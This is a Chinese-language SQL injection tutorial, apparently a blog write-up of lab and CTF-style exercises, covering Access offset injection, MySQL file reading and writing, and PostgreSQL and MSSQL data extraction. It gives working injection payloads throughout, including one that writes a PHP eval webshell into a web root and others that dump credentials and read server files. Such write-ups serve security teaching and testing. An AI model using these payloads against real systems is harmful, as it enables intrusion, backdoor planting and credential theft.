WEB攻防-通用漏洞SQL读写注入ACCESS偏移注入MYSQLMSSQLPostgreSQL
目录
知识点
详细
ACCESS偏移注入
读取路径
案例演示
MYSQL-root高权限读写注入
PostgreSQL-高权限读写注入
MSSQL-sa高权限读写执行注入
知识点
1、Access偏移注入
2、SQL注入-MSSQL数据库
3、SQL注入-PostgreSQL数据库
4、SQL注入-MYSQL数据库
详细
ACCESS偏移注入
ACCESS属性:数据库名,表名,列名,值
偏移注入:ACCESS数据库中如果知道表名的情况下不知道列名适合使用偏移注入。
条件:假设现在知道表名为admin,列数为6,可以利用select exists(selct * from admin)表名是否存在,存在则返回正常页面。
1.order by 数字:猜测网站指定数据库的表的字段数,如果order by 22 不报错,那么字段数为22
2.判断admin表内存在的字段数,基于order by,爆出显示位:union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 查看显示位的数字,哪个数字被显示出来,哪个数字就可以执行命令。假设显示位是5,6,7。
union两边必须两个数据都为真才能正常显示,接下来我们利用“*”代替admin表内存在的字段,然后利用网站(网站是随便编的,不要当真,认真你就输了)指定数据库的表的字段数猜测admin表的列数。
简单解释一下下面的代码,目前知道网站指定数据库的表的字段数为22,那么admin表的目前不知道,但是union只有当两边为真时才能正常显示,就证明*加上我们自己设置的数字等于22列时才能正常显示页面。
http://www.mozhu.com?id=1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,,16,17,18* from admin #错误
不断尝试中.........
最后在数字为16位时正确显示。那么网站的列数为22,数字为16位,*就是22-16=6,就代表admin表是6列
http://www.test.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin #正确
偏移注入的基本公式为:
order by 出的字段数减去*号的字段数,然而再用order by的字段数减去2倍刚才得出来的答案;
22-6*2=10 一级偏移
10-6=4 二级偏移
一级偏移:http:/www.mozhu.com?id=1 union select 1,2,3,4,5,6,7,8,9,10,* from admin
二级偏移:http://www.mozhu.com?id=1 union select 1,2,3,4,* from (admin as a inner join sys_admin as b on a.id = b.id)
一级偏移语句 union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id* from (admin as a inner join admin as b on a.id = b.id)
admin as a inner join admin as b on a.id=b.id:可以简单理解为把admin这个表重新命名成a和b两个表,因为是一个admin表的列数为6,那么两个表就为12,所以select后面的值为22-6*2=10。如果a.id=b.id就在select语句中的输出a.id和b.id,因为a和b来自与同一个表,所以肯定相同。(这里要提醒一下,id这个字段可以换成其它字段,但是一定得存在,一般admin表中都存在id字段的)
二级偏移语句 union select 1,2,3,4,a.id,b.id,c.id,* from((admin as a inner join admin as bon a.id=b.id) inner join admin as c on a.id=c.id)
二级偏移与一级相同,只不过二级多了一个c表,所以又去掉了六个字段,用一个c.id 用来代替字段并且重新打乱组合。
为什么使用二级偏移或者是更高级的偏移:因为显示为是5,6,7,但是一级注入并没有包含掉5,6,7的位置。所以利用二级偏移向前在偏移6位,这样a.id,b.id,c.id就正好在输出位显示。
读取路径
Access无高权限注入点-只能猜解,还是暴力猜解
MYSQL,PostgreSQL,MSSQL高权限注入点-可升级读写执行等
为什么获取路径:当注入后门代码时,需要知道文件的路径才能利用菜刀等工具连接数据库实现目标。
知道数据库类型:可以通过百度搜索该数据库的一些关键文件或路径,然后进行读取或写入。
不知道数据库类型:可以通过phpinfo进行路径的查询。或者随便访问一个路径,通过报错信息获取路径。
案例演示
MYSQL-root高权限读写注入
首先利用and或者or查询注入点,没有返回数据证明是注入点。
order by查询列数,列数为3
select查询显示位,显示位为1和2
利用user()查询是否为root用户,查询结果是root
上述内容并非本次重点,有不理解的小伙伴可以访问下面连接,有详细说明https://blog.csdn.net/m0_65336233/article/details/127195840
接下来进行文件读取的操作,在我的D盘目录存放在一个w.txt文件,既然在显示位执行user()或者database()函数,那么自然可以执行文件读取函数load_file()
环境配合:在mysql安装目录中的my.ini文件中的[mysqld]项下添加 secure_file_priv = '',重新启动数据库(一定要重启,否则无法生效)
http://127.0.0.1/sql1/news.php?id=2 union select 1,load_file("D:/w.txt"),3
load_file():文件读取函数,()里跟完整的文件路径
显示位2处进行文件读取,内容与w.txt一样。文件读取成功。
文件的写入操作,利用into outfile进行文件的写入
http://127.0.0.1/sql1/news.php?id=2 union select 1,'123',3 into outfile 'd:/www.txt'
outfile:后面跟要写入文件的绝对路径,没有文件则创建文件
http://127.0.0.1/sql1/news.php?id=2 union select 1,'<?php eval($_POST[x]);?>',3 into outfile 'D:/student/shentou/php/PHPTutorial/WWW/3.php'
现在在数据库的木库下植入一句话后门。
打开菜刀,输入路径,直接连接。
PostgreSQL-高权限读写注入
点击停机维护进入页面
测注入点可以注入,测列数为4列
查询显示位,postgreSQL的显示位与mysql有一定区别,下面可以看到postgreSQL并没有直接将显示位显示出来,所以需要利用单引号一个个去测试。
最后测试出来2,3位为显示位
直接可以利用函数version(),current_user,current_database(),获取版本,当前用户和当前数据库,由此知道了用户名为postgres,数据库名为mozhedvcms
and 1=2 union select null,string_agg(dataname,','),null,null from pg_database
利用该代码显示出所有的数据库名,dataname代表数据库名,string_agg(dataname,',')是让数据库名以逗号间隔
获取表名:and 1=2 union select null,string_agg(tablename,','),null,null from pg_tables where schemaname='public'
获取列名:and 1=2 union select null,string_agg(column_name,','),null,null from information_schema.columns where table_name='reg_users'
获取数据:and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users
判断是否为超级用户:and 1=2 union select null,string_agg(usename,','),null,null FROM pg_user WHERE usesuper IS TRUE
pg_user:是存储超级用户的表
WHERE usesuper IS TRUE:判断是否为超级用户
返回的值与当前用户值一样,证明当前用户为超级用户。后面直接登录提交flag即可。
在该案例中一部分表和函数与mysql的一样是数据库PostgreSQL自带的,大同小异。不太明白的可以查看一下连接。https://blog.csdn.net/m0_65336233/article/details/127195840
MSSQL-sa高权限读写执行注入
开始依旧是测注入点,侧列数,侧显示位
报错存在注入点,列数为4,显示位为2和3
@@version 获取版本信息,db_name() 当前数据库名字,@@SERVERNAME 获取服务器主机信息
user、system_user,current_user,user_name 获取当前用户名
目前知道了用户名为dbo,数据库名为mozhe_db_v2
获取表名:and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),null,null
查询其他表:union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),null,nul
name not in ('manage')):查询不是表名manage的表
获取列名:and 1=2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null
通过修改manage后面的值可以不断向后发现列名,到第四个为空,证明只有三个列名为id,username,password
根据翻译直接查询username和password即可,获取账号密码登录,获取flag 。
WEB攻防-通用漏洞SQL读写注入ACCESS偏移注入MYSQLMSSQLPostgreSQL相关推荐
- 第39天:WEB攻防-通用漏洞CSRFSSRF协议玩法内网探针漏洞利用
目录 CSRF:跨站请求伪造 定义: 举例 条件 CSRF的防护 SSRF 服务器端请求伪造 举例 漏洞利用攻击: 端口扫描,指纹识别,漏洞利用, 内网探针(端口字典爆破)--通过远程请求 ...
- WEB攻防-通用漏洞文件包含LFIRFI伪协议编码算法代码审计
目录 知识概要 1.解释 2.实现漏洞的三种方式 3.本地包含LFI&远程包含RFI-区别 4.各类脚本语言包含代码写法 思路点 黑盒发现 白盒发现 CTF案例演示 CTF-78-php&am ...
- WEB攻防-通用漏洞文件上传二次渲染.htaccess变异免杀
目录 知识点 详细点 文件二次渲染 php删除规则 例题 CTF-Web入门-162 CTF-Web入门-163 CTF-Web入门-164 CTF-Web入门-165 CTF-Web入门-166 C ...
- WEB攻防-通用漏洞水平垂直越权购买逻辑漏洞
目录 水平垂直越权 水平越权 垂直越权 访问控制原理 漏洞判别 防护 购买逻辑漏洞 知识点 详细介绍 防护 案例演示-优惠券 案例演示-CMS-订单修改 水平垂直越权 水平越权 同级用户权限共享--- ...
- Access数据库注入之偏移注入
文章目录 一.偏移注入使用场景 二.必要的SQL知识补充 (一)admin.*是什么意思? (二)联合查询的字段数问题 (三)access如何查询指定数据? 三.靶场实战 (一)判断是否存在cooki ...
- access偏移注入
记录总结偏移注入的使用方法. 为什么要用偏移注入 偏移注入是access比较独有的一种注入手段,很有特点(人品..)的注入方式,一般用于在猜出了表名但是没有猜出列名的情况下使用. 偏移注入的使用 目前 ...
- [web攻防] weblogic 漏洞复现 CVE-2017-10271CVE-2018-2628CVE-2018-2894
用docker复现weblogic的部分高危漏洞,主要是记录下一些操作,积累自己的知识储备.由于时间与个人水平原因,不对原理做过多叙述. 目录 环境打开方式 CVE-2017-10271 weblog ...
- Web攻防--基础入门--特定漏洞
免责声明:由于传播.利用本文章所提供的信息而造成的任何直接或间接的后果损失,均有使用者本人承担负责,作者不为此承担任何责任,一旦造成后果请自行承担!!! 前言:一个梦想成为乌云核心白帽子的信安小白,该 ...
- 网络安全学习--008--SQL注入之Access数据库注入详解
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 Access注入漏洞详解 一:注入漏洞分析 站库分类: 1.网站分类: 静态网页: 不依赖数据库 灵活性差,制作.更新.维护麻烦 交互 ...
最新文章
- 第十六节,使用函数封装库tf.contrib.layers
- Spring之使用外部属性文件
- 程序员基本功 06 流程控制的陷阱
- java if else过多_Spring Boot中如何干掉过多的if else!
- D3 datumdata
- 成功安装完EASYPHP后,无法打开127.0.0.1页面的解决办法
- k8s-controller manager原理分析
- Delete与Top连用限制删除行
- PHP compact
- SpringBoot自动装配原理,这一篇就够了!
- 剧情插件Cutscene Creator uSequencer 1.3.7.1使用说明一
- w10打游戏老是弹出计算机,有效解决win10玩游戏弹出输入法的问题
- EAS BOS数据库更新
- MySQL的COUNT语句--count(*)、 count(常量)、 count(列名)
- 解决拉取远程分支后出现.xcodeproj Couldn't load project的问题
- 解决黑群晖切换网络环境后无法访问的问题
- 人脸识别(cv2库的实现)
- CarbonData 使用性能测试
- 基于335X的UBOOT网口驱动分析
- 对百度阿拉丁的深入解读
热门文章
- Codeforces Round #548 (Div. 2) C. Edgy Trees(并查集+快速幂)
- dhcp应该开启还是关闭(dhcp应该开启还是关闭)
- 甲骨文oracle的ocp和ocm认证难不难考?
- html表格分行分列,excel表格内怎样设置分行和分列
- 【附源码】计算机毕业设计SSM宁夏旅游信息管理系统
- 【IoU loss】IoU损失函数理解
- 计算机专业必要要买游戏本吗,吾空:致大学想买游戏笔记本的学生,这几个点必须要知道...
- Mem Reduct——最专一的电脑清理软件
- No module named 'pandas.lib'
- tl wn322g linux驱动下载,TL-WN322G+驱动